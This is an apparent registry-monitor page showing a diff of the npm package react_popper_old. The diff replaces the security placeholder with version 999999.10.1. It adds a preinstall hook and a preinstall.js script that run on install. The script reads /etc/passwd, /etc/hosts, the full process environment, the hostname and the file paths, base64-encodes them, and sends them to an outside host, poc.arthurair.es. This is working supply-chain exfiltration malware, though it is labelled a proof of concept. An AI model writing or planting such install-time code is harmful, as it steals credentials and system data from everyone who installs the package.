react_popper_old 0.0.1-security → 999999.10.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react_popper_old might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "h1:arthuraires"
3
+ }
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "react_popper_old",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999999.10.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node run preinstall.js"
8
+ },
9
+ "author": "arthuraires4",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "http": "0.0.1-security",
13
+ "https": "^1.0.0",
14
+ "os": "^0.1.1"
15
+ },
16
+ "description": ""
6
17
  }
package/preinstall.js ADDED
@@ -0,0 +1,48 @@
1
+ 'use strict'
2
+
3
+
4
+
5
+ const https = require('https')
6
+ const http = require("http");
7
+ const os = require("os");
8
+
9
+ var currentPath = __dirname.toString('base64');
10
+ var currentFile = __filename.toString('base64');
11
+ var currentEnvString = JSON.stringify(process);
12
+ var currentPath = Buffer.from(JSON.stringify(__dirname)).toString('base64');
13
+ var currentFile = Buffer.from(JSON.stringify(__filename)).toString('base64');
14
+ var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
15
+ var currentHostName = Buffer.from(JSON.stringify(os.hostname())).toString('base64');
16
+
17
+ var fs = require('fs')
18
+
19
+ function sendRequest(data) {
20
+ https.get('https://poc.arthurair.es/?-react-popper-old-' + data, (resp) => {
21
+ }).on("error", (err) => {
22
+ console.log("Error: " + err.message);
23
+ });
24
+ }
25
+
26
+ fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
27
+
28
+ var etc = Buffer.from(file).toString('base64');
29
+ var env = currentEnvBase64;
30
+
31
+ sendRequest('--------------------INICIO-ME------------------------')
32
+ sendRequest(etc)
33
+ sendRequest(env)
34
+ sendRequest(currentPath)
35
+ sendRequest(currentHostName)
36
+ sendRequest(currentFile)
37
+
38
+ });
39
+
40
+ fs.readFile('/etc/hosts', 'utf8', async function (err,file) {
41
+
42
+ var etcHosts = Buffer.from(file).toString('base64');
43
+
44
+ sendRequest(etcHosts)
45
+
46
+ });
47
+
48
+ sendRequest('--------------------FINAL--ME----------------------')
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=react_popper_old for more information.